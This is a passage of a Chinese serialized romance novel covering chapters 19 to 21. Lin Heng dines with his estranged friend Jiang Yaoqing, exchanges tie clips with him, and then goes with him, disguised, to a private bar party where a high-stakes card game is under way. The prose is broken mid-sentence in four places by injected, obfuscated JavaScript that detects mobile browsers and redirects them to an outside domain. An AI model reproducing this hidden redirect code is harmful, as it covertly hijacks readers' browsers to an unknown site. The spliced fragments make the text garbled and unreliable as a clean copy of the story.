他的呼吸有点颤,直到此刻,他才多少恢复冷静,回想着今早腺体科医生的叮嘱,一定要劝耀清去…… 吱呀—— 大门蓦地低响一声,分明柔柔的,在林衡耳中却形同惊雷。 “江总……” 身边的服务生立时小跑过去,带起一阵轻风。 他连连鞠躬,跟在客人身侧,低声问询是否需要帮忙挂起大衣,那人只是挥挥手,步伐如箭一般,笔直地切向被烛台点亮的餐桌。 林衡搭在膝上的两手霎时攥紧了。 江耀清一身烟灰色大衣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林衡心下一松,按下免提键:“喂,阿程?” “喂,小衡,不好意思,我被导师绊住了,刚刚他让我去办公室一趟,聊聊论文的批改,他老家有急事,明天就要飞回去了……” 电话另一端回荡着走廊里空旷的脚步声:“对不起,你和耀清好好叙旧,改天我再找你们吃饭。” “明白了。你先忙,拜拜……” 室内跌入了短暂的寂静,像松软的枕头落在灰扑扑的地面上。 林衡掉进了短暂的茫然,像上楼时一脚踩空,揣在口袋里的计划洒落一地,摔了个粉碎。 真是天不遂人愿。 他本打算依照计划,让两人带自己去“浪潮”会一会郁燃,但眼下只剩他们两人,若是孤男寡男,一起出现在酒色场里,这恐怕很不妥当,毕竟耀清有了恋人…… 不止如此,少了阿程这个僚机,他今晚甚至不知道该怎么和耀清聊下去。 他甚至没有开口的勇气。 “你去门外等候吧。” 耀清他将大衣搭在椅背上,露出一身银灰色的西装:“我们先看菜单,一会儿按铃叫你。” 服务生怔了一秒,忍不住瞄了眼林衡:“好的。” 他麻利地给耀清添了柠檬水,悄无声息地退出去了。 林衡的视线追着他离去的身影,蛰伏在胃里的那团恐慌愈发膨胀,几乎攀升至喉咙口。 大门推开又合拢,密闭的空间里只剩相对而坐的两个人,他的不安嗡地一声直冲头顶,嘹亮得像千百只蝉齐声聒噪,瞬间将他的感官涂白了。 可吊诡的是,浑浑噩噩里,他竟还能分辨出耀清淡淡的香水味。 仿佛是一缕彷徨游魂的具象化。 耀清仿佛没留意到对方的反应,他呷了口柠檬水,左手翻开菜单厚重的封面。 林衡的影子正巧投落在纸页上,每次翻页,都像在翻阅灵魂。 “不看菜单?” “嗯。”林衡努力平静了下来,胸腔缓缓起伏着:“我提前选好了。” 耀清潦草地翻了阵,很快便拿定了主意。 他头也不抬地按铃、点单,一气呵成,当他磁性的嗓音平稳地回荡时,林衡的视线莫名地被一处不起眼的落点吸引了。 那是一星黯淡的针孔,扎在耀清耳垂的中央,在昏沉的灯影下,彷如直通地下深渊的泉眼。 林衡的眉头不着痕迹地蹙了下。 某个模糊的念头如流星般一闪而过,他捕捉不住,只是隐隐觉得不对。 耀清会戴耳饰吗? 就像墨白咖啡里,那位耳边戴着细小银坠的店员一样? 19. 相悖反 “可以了。” 啪地一声,菜单被合拢了。 “好的,已经下单了江总,有需要两位随时叫我。” 林衡的思绪被打断了一瞬,等他的注意力重新落回耀清身上,耀清却已然靠进椅背里,耳垂上的痕迹看得不分明了,像是从未存在过。 “心不在焉?”他问。 林衡的眼皮颤动了下:“没,只是有点恍惚。” 他深深吸气又吐气,坦陈了自己的不自在:“七年不见,你我都变了许多,再叙旧时,不知道该如何开口。” “你没变。” 江耀清的目光稳稳停在他的脸上,“对待自己的感受,你还是那么坦诚。” 林衡心头一震,记忆在他的注视下徐徐倒流。 的确,曾经的林衡从不遮掩自己的感受。 喜爱、厌恶、尴尬、焦躁……均落落大方地宣之于口,谈论情绪就像呼吸喝水一样自然。 他坦率又柔和,轻易便能驱散僵硬的气氛。因着他的自我敞开,冷淡的耀清也逐渐卸下心防,困惑地、试探性地靠近他。 可自从订婚之后,他却时时刻刻在伪装。 他闷声不吭地将自己塞进闻太太的瓶子里,强抑着喉咙里苦痛的尖叫。 他不敢面对自己,他成了个空心的骗子。 直到决意退婚,他的枷锁才开裂松脱。 林衡忍不住苦笑:“是啊,我们十六七岁的时候,烦闷也好,开心也罢,总是直接地说出心里话,完全不用顾虑太多。再激烈的争吵也会很快熄火,根本没有隔夜仇。” 说到这里,他顿了两秒,“我想这就是对待隔阂最好的办法吧,及时沟通,尽快磨平,而不是听之任之,在你我之间划下不可逾越的沟壑。可遗憾的是……” 室内跌入了片刻的寂静。 他们都知道这意味着什么。 “遗憾的是,在我犯下了这辈子最大的错误后,却没有机会道歉和弥补,甚至没能留下只言片语。我无数次想过,七年前,你被囚禁在矿区四院的那三天,如果我陪在你身边就好了,如果你获救后我每夜陪护就好了,如果你醒来后我陪你寻医问药就好了,可惜没有如果,没有。因为我……” 咚、咚、咚—— 服务员推门而入:“先生,您的热红酒。” 林衡压下心头翻涌的话语,冲他颔了颔首。 在服务员靠近又离开的脚步声里,他的情绪稍稍冷却下来,险些脱口而出的苦衷就这样被生生咽下了。 他是来道歉的,不是来辩解的。 “今早我去过A大附属医院,找了腺体科的医生。” 林衡勉强笑了笑,换了个话头:“听了我的描述,医生说你的心脏、视力、神经的损伤都是不可逆的,腺体还有治疗的可能。医生向我推荐了她的老师陈丽才,建议我们去找她看诊。” “想必你听说过,陈主任是国内腺体治疗领域数一数二的大专家。目前陈主任在外地开会,不知道下周你方不方便,愿不愿意让我陪你去一趟?” 在他说话的间隙,江耀清在用酒杯暖手。 修长苍白的手指圈住透着热意的玻璃杯,指腹稍稍一动,指缝里便渗出一丝深红的色泽。 “关于我的病情,医生还和你说了什么?” ——说了很多,非常多。 林衡的唇角慢慢抿平了。 腺体功能衰竭、神经系统损伤、易感期紊乱、焦虑症、PTSD、暴力倾向……这些名词像梦魇一般,让他浑身的血都冰凉了。 但他不肯说出口,“先去见陈主任吧。” 江耀清抬起眼帘,幽暗灯影下,浅褐的瞳仁变得乌湛湛的。 一时间,岁月呼啸而过,林衡仿佛又回到了初见那夜,十五岁的江耀清凝视着他,辨别着他话里的真情或假意。 林衡的唇虚张了下,声音略显沙哑,“我一直在想,自己能做些什么,能弥补什么。我知道这不能改变过去,但至少……请让我承担你的治疗费用,让我陪你一起走过漫长的治疗过程,无论你需要多少帮助,我都会在你身边。” 空气中弥漫着一丝紧张。 林衡不敢再看江耀清的脸。 “这次回银城,我本就打算找陈主任的。” 片刻后,耀清的声音在空旷的房间里回荡着:“七年前,矿区第四医院的丑闻曝光后,有两位受害者被送去银城A大附属医院,他们的主治医生便是陈丽才主任。” 他松开温热的杯子,用掌心摩挲着发凉的手背:“听说那两人经陈主任治疗后,恢复得不错,我便打算来碰碰运气。可惜陈老师的专家号很难抢……” “我帮你约。” 林衡眸光一闪,“陈主任那边会有些难度,但我会尽力帮你安排。” 两人的视线就这样撞在一起。 原来耀清的眼神并不像预想中那样冷淡,隔着灯光的晕影,显得有些朦胧,像落了层轻盈的雾气。 他的神色,仿佛是温柔的。 咚、咚、咚—— 服务生又来传菜。 两人的目光荡悠悠地断开了。 “过去的事,不如就先谈到这里。” 林衡抚平心绪,轻轻地呼出口气:“聊聊现在的生活?” 江耀清举杯,同他一碰,酒液在杯中轻晃:“好。” 他的应答低低的。 从这一刹起,凝结的空气恢复了流动,室内渐渐荡起了阵阵交谈声。 在酒水和餐食升腾的白气里,一人问,一人答。 深秋风紧,窗外树枝的影子落进来,在墙壁上无声摇动,替他们扫去光阴的尘灰。 “……你在德通集团五年了?” 林衡有些诧异:“即便本科期间修够学分、提前毕业了,也不会有五年经验吧?毕竟你小我两岁……” “我提前毕业一年。我早早就在德通实习,前前后后,差不多五年了。” 江耀清抻了抻袖口,手中银亮的餐叉慢慢卷起意面:“你知道,我舅舅是德通的董事长。我的专业是他选的,生物医学工程,从大二起他便让我参与德通资助的研发项目,大三开始把我带在身边,做他的助理。” “因为攒下了含金量足够的论文,我顺利折抵了学分,提前毕业了,被安排进集团的子公司,德通药业。我一边工作,一边读MBA,今年晋升为子公司的董事……” 林衡听得发怔,叉子的尖端停在了餐盘上。 这是二代圈子里最常见的安排,从专业、到科研、到实习、到职业路径,全部被家人一手包办。 有些严苛的长辈,甚至不许子女踏错半步,只能沿着划定的道路笔直向前,高效地抵达一个又一个里程碑。 这也是林不默一直以来对他的期许。 只是林衡不愿。 “舅舅选你做接班人?” “是。舅妈去世得早,他没有子女,你知道的。” 林衡当然记得。 江耀清自小没见过父亲,又被生母江峥流厌憎,只有舅舅心疼他,常常探视陪伴,好吃的好玩的向来不断,只是江峥流死死将儿子攥进手心里,不准弟弟频繁上门,许多礼物更是转手就掷进了垃圾桶。 做这些时,她从不避忌耀清,她就是做给儿子看的。 可下次舅甥见面时,她又敦促儿子要活泼、要热情、要缠着舅舅道谢,却又似有似无地向弟弟暗示,她对儿子做了什么。 林衡想象不出那是何等委屈、难堪、气愤的一幕。 但江峥流偏生喜欢看身边人如坐针毡。 林衡收回思绪,他右手持刀,切着羊排:“舅舅很宠你,我记得。我以为他不会手把手教你做管理,会给你足够的自由……” 做德通集团的接班人,太辛苦了。 林衡完全了解其中的苦楚,他知道耀清口中的五年,并不如他的语气那般轻描淡写,他的每个脚印都被汗水和泪水浸透,每个日夜都挤满了焦虑、惶恐、暴躁、不确定……他的生活,是不断摔倒再爬起狂奔,是不停地试错与犯错。 但在七年前遭受虐待后,耀清的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因着耀清的事,他和母亲爆发了前所未有的激烈争吵,林不默咒骂他、咒骂江峥流、咒骂江耀清、甚至咒骂死去的林彻。她坚信沾上江家人会霉运连连,不允许儿子去探视,她安排保姆轮班在林衡的门外盯梢,最终甚至将儿子关进了私人医院,还雇了保镖看守…… 如此种种,让林衡的精神猛然坍陷,耀清无意洒下的那粒种子蹿成了参天大树。 ——他不是谁的提线木偶,他要过自己的人生。 但荒唐的是,他和耀清的选择就此颠倒。 因着七年前的人祸,耀清失去了康健的体魄,余下的只有雪片般的病历单。在高昂的医药费和舅舅的苦心照料前,追求独立根本是天方夜谭,他不得不依附于家庭,埋葬他的地质梦,踏上死气沉沉的人生路。 多讽刺啊,他竟被推上了林衡舍弃的那条路。 林衡的耳中嗡嗡作响。 虽然他耻于承认,但有道尖利的声音在声嘶力竭地控诉,控诉他就是毁了挚友人生的刽子手。 “这次回银城,我带着舅舅的任务来,重新开拓德通药业在国内的业务线。” 江耀清仿佛感受不到命运的嘲弄,轻飘飘地一笔带过:“以后我的事业重心,将会落在银城。银城的高校科研实力雄厚,德通打算和A大共建实验室,一起研发新药……” 他说了许多,林衡却只捕捉到关键的一点:“研发新药的话……江阿姨也会回国吗?” 江耀清的眼睫落了下,“不会。” “是吗……我记得江阿姨是德通研发中心的负责人,七年之前,她正是为了推动德通的项目在银城落地,才带着你回国的……” 江耀清视线垂着,表情纹丝不变。 他随手将高脚杯搁在桌上:“她卸任了,在精神病院里接受治疗。你的话提醒了我,往后每年一次,我会回美国看她。” 20. 赠情人 耀清的母亲江峥流,被关进了精神病院? 林衡陷入了短暂的呆滞,随后反应过来:“也是,刚刚你说过,陪你七年的人是舅舅。” 这话说得含糊,听不出立场,但他心里却腾起了微妙的讽刺感。 他记得江阿姨的模样,高个子,很干瘦,两颊有雀斑,像个平实的知识分子。 但这位相貌普通的女人,却有一双奇妙的眼睛。 她的眼距很近,眼裂也深,眸子黑白分明,且瞳孔的直径略大于常人。 当她说话时,那对眼睛总是显得格外诚恳,配合着她轻微的南方口音和缓慢的吐字,轻易便能博得听众的信任。 而当她倾听时,瞳孔却有些扩散,分不清是在走神,还是在揣测着你的言外之意。 但在绝大部分人眼中,她都是个值得信赖的、诚实的人。 这个看起来可靠的女人,每次被问起那段短暂的婚姻时,总是声称前夫患有精神分裂症。 “结婚之后的第四十八天,他把家里砸得稀烂,挥着碎酒瓶,冲我的喉咙划过来,我伸手一挡……到处都是血。” 每次讲到这里,她总会停顿一会儿,拍一下儿子的肩膀,无名指和小指伸不直似地蜷着,仿佛正遮掩着指腹的伤口。 “第二天我就跑掉了,离开了欧洲,去了美国。那时我虽然怀着孕,但我坚信孩子是无辜的,我有信心能将他抚养成人……” 于是所有人都知道了,那个坐在母亲身边阴郁寡言的男孩,大概率会遗传父亲的精神疾病。 江耀清只是沉默,像条被驯化的黑狗,麻木地听之任之,不会张口辩解。 可到头来,被送进精神病院的却不是她的儿子,而是她自己。 “矿区四院那件事之后……江阿姨被送去看医生了?” “不然呢?” 江耀清重新执起刀叉:“林阿姨报了警……我没有责怪你妈妈的意思,这是正常人该有的反应。不过对我舅舅来说,江峥流毕竟是他亲姐姐,便火急火燎地把她弄出国,又送去医院检查,最终发现她有精神疾病,一直住院接受治疗到现在。” 林衡勉强笑了声:“嗯,手心手背都是肉。你舅舅夹在中间也难做人……” “我也没指望过他帮我讨回公道。” 江耀清倒是平静,漫不经心地切着牛舌:“归根到底,舅舅的确欠她的。如果舅舅不存在,她也不会过得这么不如意。” 林衡陡然沉默了。 “你瞧我们,聊着聊着,又回到那些不开心的旧事上了。” 江耀清自如地换了话题:“听说你和闻总在商量婚事,是不是很快就能喝上你们的喜酒了?” 林衡一愣,一时没回过神来,嘴唇却先一步开合了:“不了。” 江耀清一挑眉,“不了?” 他审视着林衡,静候着对方的下文。 许是林衡心里有鬼,竟觉得他的目光说不清道不明。 “先暂缓。” 林衡的措辞很谨慎。 事成之前,他不打算泄露分毫:“闻家诚意平平,进度不能太快了。” 耀清却笑:“确实,终身大事,不能草率。我没有恶意,只是好奇……” 他的手肘架在桌边,十指自然而然地交叉:“如果能迅速帮林阿姨找来融资,是不是就能博得你父母的青睐了?” 林衡的心脏蓦地停跳半拍。 他按响了桌边铃,让服务生撤走餐盘,端上甜点:“你的意思是,我的婚姻全凭父母做主?” “不是吗?” 江耀清撤下手肘,向后靠进椅背里,低沉的声线穿过餐具磕碰的叮当声,清晰地传进了林衡的耳中:“否则我想不出,为什么你会选择闻总。” 这可真是大胆。 林衡的脸色稍稍变了。 在闻如峰的餐厅里,当着闻如峰手下人的面,竟然毫不留情的说出这种话来。 收拾餐具的服务生强压着发青的脸色,手上的动作越来越麻利了。 林衡连忙找补:“闻总年轻有为,事业蒸蒸日上,正是最有魅力的时候。” “阿衡喜欢事业心重的?” 林衡手一抖,酒杯险些被带翻了。 阔别七年,久违的两个字。 他惶惶地睁着眼,震惊盖过了欣喜,像被抽了魂,脸色有些发白。 又短又长的十几秒中,低头忙碌的服务生横在中间,隔断了一切错愕、雀跃、眷恋……他看不见他,他也看不见他,一切心绪皆是谜团。 林衡将问题抛给了对方:“是吗?那你同阿程交往,他的家庭背景也是你考量的因素之一吗?” “怎么说?” “程老先生的腾川药业,是银城知名的药品原材料供应商。” “是有合作的意向。” “前几天在闻如峰的酒会上,程老爷子和你聊了几句,看起来对你十分满意。” “这样吗?听阿程说,他是位相当严厉的长辈。” 见他态度暧昧,林衡便再次试探:“你和阿程家境相当,感情基础也深厚,离谈婚论嫁不远了吧?” “哦?” 耀清的回复很有趣:“对你而言,在一段婚姻里,是家境更重要,还是感情更重要?” 问题被反抛回来了。 服务生推着装满碗碟的餐车,忙不迭地从枪林弹雨中撤离了。 室内陷入了一阵难以言说的静寂。 “每个人都有自己的答案,甚至在不同年龄,都会得出不同的结论。” 林衡笑了笑,决计敷衍过去:“翻看我的答卷,恐怕帮不上你什么忙。” 说罢,他不给对方追问的机会,反手拉开枪灰色背包的拉链,轻车熟路地取出两只暗色的丝绒盒子。 “我们好久不见,你和阿程又好事将近,便给你们准备了一对小礼物。” 林衡递了过去:“一点小小的心意。等你们结婚,再送份大礼。” 猝不及防地,江耀清抬了下眉梢。 他静了几秒,目光悬在林衡的指腹与盒子的交界处,眼睫微微扇动了下。 “客气了。” 他应了声,伸出双手,从林衡的掌心里将它捧起。 两人手臂的阴影交错一瞬,随后便各自后退,缓缓分开了。 他们动作很轻,大概没有触碰彼此。 “我想看下。” “好。” 耀清左手托起盒子,右手拇指徐徐施力。当“啪”的一声闷闷响起时,头顶昏暗的灯光垂落下来,盒子里亮起一线银色的反光。 是一枚纤细的银色领带夹。 金属材质、形状秀丽、款式简约,一眼扫去便知价格不菲。 平心而论,这份礼物颇有品位,耀清却没多看,手腕一沉,轻轻搁在桌上了。 虽然他神色如常,林衡却如通灵一般,轻易分辨出一丝微小的失望。 “不够喜欢?” “喜欢,但我猜错了。” 耀清用食指和拇指捏住领带夹尾端,待金属制成的尖嘴张开后,便从盒中抽出来,佩戴在暗色的领带上。 “你猜的是什么?” “送给未婚情侣的、放在首饰盒里的、成对的、价值不菲的……你猜我会以为是什么?” 耀清低着下颌,好看的手指调整着衬衫细微的褶皱:“样子不错,很百搭。” 林衡一怔,耀清似乎又说了些什么,他没留心听,他在反复回味着那串形容词,情侣佩戴的、锦盒里的、成对的…… 答案在唇边呼之欲出。 “好看吗?” “……嗯。” “可惜看不见整体效果。” 江耀清很遗憾似的,信手取来另一只盒子,掰开后调转过来,内里正对着林衡:“你戴。” 林衡连眨两下眼:“我没戴领带……” “夹在衬衫上。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427201|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这能看出什么来……” “大差不差。” 见他不接,耀清便抽出领带夹,送至他手边:“来。” 林衡有些茫然,僵持片刻后,他慢吞吞地接过了。 可惜领带夹太纤细,不大的金属片上,落了两人的手指,一人持握一端,皮肤的摩擦几乎不可避免。 但林衡却清晰地觉察到,电光石火的一瞬,耀清松了手,指尖从指尖的边沿掠过,错开了一毫空隙,细小得无法靠肉眼捕捉。 ——反倒更令人心惊肉跳。 林衡故作镇静地低下头,他一手抚着衣襟,一手捏住夹尾,金属片张着嘴探入衬衫后,他两指一松—— 胸膛前传来沉闷的啪嗒声。 薄薄的布料被夹子轻轻咬住了。 某种没来由的重压让他一阵心悸,或许是位置不对,但他愈调整,金属片便越冰凉沉重,让他透不过气。 “可以了,我瞧瞧。” 林衡撂下手,坐直坐正,他的慌乱藏得很好,瞧不出一丝端倪。 他们脸对着脸,江耀清的目光投过来,悬在他的前襟上,他的视线也不由自主地下跌,跌至耀清胸前的一抹银色上。 呼吸声静止了一瞬。 小小的饰品,竟像两枚磁石般,将他们巧妙地联结了。 此刻的沉默堪称微妙。 是啊……他们佩戴的饰物,原本便是赠给一对爱侣的。 林衡如坐针毡。 “可以了?” 他不安地催促着。 “嗯……” 没等耀清继续表态,林衡便右手一探,猛地摘下领带夹,插回了锦盒里,掌心一按,扣上了盖子。 因他克制着心底的慌乱,盖子落下时不快不重,夹子上的反光便得了机会,狠狠地刺了下他的眼睛。 林衡的眼睑情不自禁地一屈,在那一瞬,他的思绪毫无预兆地飞散,心中竟想着,幸好盒子里的不是耀清猜测的那样物什。 如果是两枚指环,岂不是要…… 他的无名指一抽,像被烙了一下。 林衡用手背将盒子推回了:“记得交给阿程。” 耀清却摇头:“不方便,你来吧。” 他抵住盒子的另一侧,一点点施力,推至林衡面前:“这是你费心准备的礼物,自然该由你亲自交到他手上。” 林衡的嘴唇颤了下。 他没再拒绝,慢慢抓起首饰盒,放回了背包里。 事到如今,即便他再钝感,也该听出耀清的意思了。 ——江耀清和程秋意,或许不算亲近。 如果当真是爱侣,以耀清的性格,大概不会如此行事。 他应当不会让旁人试戴,也不该拒绝转交礼物。 可就在下一秒,他的脑中忽地电光一闪,今晚的计划又萌发出光亮。 他原本打算去浪潮酒吧见郁燃,但耀清有了恋人,便不好拜托他陪自己出入灯红酒绿的场所…… 可如果耀清仍是单身,或许他愿意陪他走一趟,假装两人的关系是…… 林衡的睫毛动了两下:“好,我会带给阿程。今晚我还有个不情之请,不知道你肯不肯帮帮忙……” 耀清的瞳仁略微转了转:“你讲。” “听说今晚八点半,在城西的浪潮酒吧里,有一场狂欢派对,许多二代都收到了邀请函,包括刚刚回国的你,不知你还记不得记得。” 林衡的两手搭在膝上:“我知道你厌憎这类场合,但在那里,有个我无论如何都必须要见的人,所以想劳烦你带我入场。你放心,只要我顺利入场,你就可以离开了,其他的我会自己想办法。” “你想见谁?” “郁燃,派对上的常客。” “以什么身份登场?” “以三种不同的身份登场。” 林衡微微笑了,他语气很柔和,“你愿意陪同?太感谢了,让我来讲讲今夜的计划……” 21. 白羽鹤 二十点四十五分,西城区圣一路交叉口。 一辆银灰色保时捷急急右转,在积水飞溅的沙沙声里驶向道路尽头的霓虹灯招牌。 两侧行道树纷纷后退,荧□□管盘成的大字逐渐逼近。 陈秘书轻点刹车片,嗤的一声,车头稳稳停在保安亭前。 路旁招牌上“浪潮”二字摇晃着投在风挡玻璃上,在等待的几秒内不住变幻,最终蜕变为诱惑的深粉色。 滴—— 独眼摄像头识别出登记过的车牌号,红白相间的横杆缓缓抬起。 陈秘书重新踩下油门,车身徐徐滑行,不出五秒,他的两眼便疑惑地瞪大了。 和预想中的车流滚滚大不相同,在夜生活的黄金时段,“浪潮”的停车场竟空荡荡的,目光粗粗一扫,不过三五十辆车,简直称得上冷冷清清。 难以想象这里是银城最火热的夜场。 陈秘书娴熟地倒车,小声搭话道:“今天不会被包场了吧……” “没错。” 身后传来一声回应,很柔和:“入场是要核验身份的。” “明白了,需要我在这里等江总和这位……女士吗?” “嗯。” 另一人吩咐道:“先跟我进去,办件小事。” “好的。” 车轮在白线里停稳后,秘书啪地解了安全带,麻利地赶下车来,拉动后排的门把手:“女士,您先请。” “麻烦了。” 一双纤细笔直的长腿迈出车厢,鞋跟落在地面上,嗒的一声轻响。 林衡右手撑住车门,身体略微前倾,像一尾银灿灿的鱼,轻盈一晃,便游了出来。 林衡一头白金色长发,垂至腰际,身着长西装、烟管裤、低跟靴,是冷淡又时髦的灰白色,衣饰边缘缀满长长的流苏,寒风一过,便如白羽般簌簌舞动。 陈秘书一时张口结舌。 驱车赶来的路上,林先生中途叫停,去商场取预定的衣服。 十五分钟后,陈秘书听到短靴有节律的嗒嗒声、车门拉开又合拢的碰撞声,嗅到一缕随冷风吹进来的香气,也从后视镜里瞄见了江总略微张大的眼睑。 很快,江总浅黑的瞳仁便稍稍移开了。 老板不多看,他自然不敢看。他一面打着方向盘,一面分辨着后座里的响动:化妆镜的开合声、粉扑的轻拍声、细刷的扫动声…… 不知在抵达浪潮酒吧后,这位端正清秀、衣着平常的乘客会变做何等模样。 现在他清楚了,车上走下的那人,像秀场里的模特。性别的分野被模糊了——他在女性中太过高挑,在男性中又清秀过甚,雌雄兼备的气质令他独具魅力,风姿飒飒,像静立的白鹤。 嘭—— 车门被不轻不重地带上了。 陈秘书猛地回过魂来,江总站在一旁,意味不明地瞥了一眼,惊得他瞬间冒汗了。 咔哒—— 陈秘书一按车钥匙,后备箱盖徐徐抬起了,他立马绕到车后,火急火燎地抱出一个巨大的手提袋:“东西拿好了,江总。” “走吧。” 萧瑟秋风里,江总拔步向前,林先生同他并肩,两人的背影一深一浅,白金色的发丝被吹拂着轻扫江总的肩头。 陈秘书保持着一步远的距离,嗅着大风卷来的两人身上的香水味。渐渐地,他的耳中响起嘈杂的音乐声,抬头一看,庭院上方的夜空被照成艳紫色,射灯的幽绿光柱在云层间扫荡,可想而知,酒吧里的派对是何等火热。 陈秘书心里打起了鼓。 这种场所,江总向来厌憎,更何况他的身体…… “您好,欢迎光临‘浪潮’。劳烦出示下电子邀请函,我这边……” “哟!是江总啊!还看什么邀请函,不用不用!” 保安话音未落,一位矮胖的中年人便大踏步地赶来。 他中气十足,态度热络,笑得满脸横纹:“看来我们曾少真是花了大力气来游说啊!是不是上下嘴唇都要磨出火星子了?竟然请动了您这尊大佛啊!” 耀清礼貌地笑笑,同他握了握手:“王经理,小声些。明天是曾少的生日,我不巧要去出差,就提前来道个贺,敬杯酒就走。” “了解了解……” 王经理从善如流地压低了音量:“江总一向是焦点,那我这边就低调点,免得一会儿您不方便抽身。小郑啊,带三位贵客……” 王经理猛地怔住了。 他瞪大了精光四射的小眼睛,愣了两秒,厚厚的嘴唇里才憋出三个字:“这位是?” 他半仰着头,目光直直落在高挑的林衡身上。 “我姓林。” 林衡微微颔首,冲他轻声一笑。 王经理回过神来,倒吸一口凉气:“我的天呐,这么有气质,这是T台上的超模啊……” 虽然圈子里美女如云,气质佳的也不在少数,但这样凛冽、飒爽、清正的还真是罕见之至,更别提一八几的身高……“林小姐”只需淡淡扫去一眼,便足以让大多数酒色之徒自惭形秽了。 王经理不好意思继续盯着人瞧,连忙向服务生挥了挥手,“来,领三位贵客进场。” 陈秘书低头跟上,他走在最末,身后遥遥飘来一句嘟囔:“这么漂亮的女伴,真有福气啊……” 陈秘书眼皮一抽。 他跟在江总身边一年多,人人都夸江总仪表堂堂,他还是头一次听说,找到这样的女伴,是江总高攀了。 “……谢谢,就送到这里吧。” 半分钟后,林衡三言两语打发了服务生。待人走远,他回过头来,冲陈秘书笑道:“我有件事,要请你帮帮忙。” 他的音量很轻,轻得像一丛云,从耳边悠悠荡过。 陈秘书的心脏突地一震,喉头干干地滚动下,忍不住瞄了江总一眼。 江耀清恍若未闻。 “您请讲。” 他的局促落在对方眼中,被误解为惊恐不安,引得林衡的语气更温柔了:“别怕,很简单。你沿着这条路走下去,在尽头处右转,到庭院正中……” * 二十一点零五分,在“浪潮”酒吧庭院正中,一场纸醉金迷、活色生香的派对徐徐敲响了前奏。 夜幕低垂,星辰隐匿,泳池水面泛着粼粼波光,黑白菱格地砖四面环绕,铺就成现代感十足的舞池。 随着音乐强劲的节奏,射灯热力十足地摇头,照亮了穿梭其间的比基尼女郎,为宾客献上小食、香槟与充满诱惑的飞吻。 伴着女郎们殷勤的娇笑,人们或齐齐碰杯,或与男伴女伴调情,或在庭院的角落谈生意……烟雾在庭院里缭绕升腾,空气中弥漫着香水、酒液和尼古丁混合的味道。 “啧,看来今晚的好运气,全在郁哥这边了……” 在泳池东南的休闲区,牌局如火如荼,某位喝得微醺的女孩一边摆弄筹码,一边调笑着:“郁哥这是情场得意,赌场也得意啊。” 一位黑衣青年轻笑一声,他一头栗色短发,颌面窄而立体,脸孔精致异常,正斜斜地靠在沙发椅中,游刃有余地翻牌:“运气?不能是我经验丰富、牌技一流吗?” 满手戒指的大哥输得脸色发绿,满肚子的酸水滋滋冒了上来,不阴不阳地笑了声:“小郁总是这么自信,不过比起赌技,倒是你的风流韵事更让人津津乐道呢。” 话一落地,邻座眼睛一眯,立时心领神会地接上:“郁哥最近又有新男伴了?不知道哪位这么好命啊?” “哎哎哎,该打牌就好好打牌,别太没品了。” 一位二十岁出头的漂亮女孩双臂交叉,倚在郁燃沙发椅的靠背边缘,嘴唇不满地努了起来,“你们到底加不加注,想好了没?” “怎么,潇潇紧张啦?” 有个不怕死的家伙冲她挤眉弄眼:“听说你近来在感情方面吃了败仗啊?你相中的那个Beta,姓程的那个,好像有男朋友了啊——” 郁潇脸一沉,细眉倒竖,正要呛声,却听堂哥懒懒道:“小打小闹没意思,来把大的,怎么样?” 郁燃撑着头,一双好看的眼睛扫过桌边的六七张面孔,唇角挂了点笑,颇有些玩世不恭的风流派头。 赌桌上的气氛顿时紧张起来,郁燃继续道:“桌上的筹码输得差不多了,不如换个玩法。用自己身上的东西做赌注,低于百万的不能上桌。这样才刺激,不是吗?” 此言一出,众人一片哗然。 “这……这不太好吧,郁哥,我今天就带来这一块表,三百多万,还是新买的……” 郁燃微微一笑,从西装口袋里取出一枚胸针,轻轻一抛,便落在了赌桌上。 那是一枚鸢尾花形状的胸针,由白钻和红宝镶嵌而成,璀璨夺目,立时便吸引了所有人的目光。 “诸位,请吧?”他笑吟吟地催促。 众人面面相觑,都知道郁燃挥金如土,却没想到会这么疯。 啪嗒—— 是手表撂在桌面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427202|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的闷响。 众人纷纷调转目光,只见坐在另一头的曾少笑容满面地卸了钻表,满不在乎地推了推:“最后一局,赌完就去跳舞,怎么也得来个小高潮,是吧?” 曾少曾成文,是今夜派对的组织者,这座“浪潮”就是他名下的产业。 见主人发话,众宾也跟着照做,哗啦啦一阵声响,钻石项链、翡翠镯子、高奢名表很快便堆满了牌桌。 “这是哪儿来的?郁哥,你这胸针可真够特别的。”有人转着眼珠,小声向郁燃打听着。 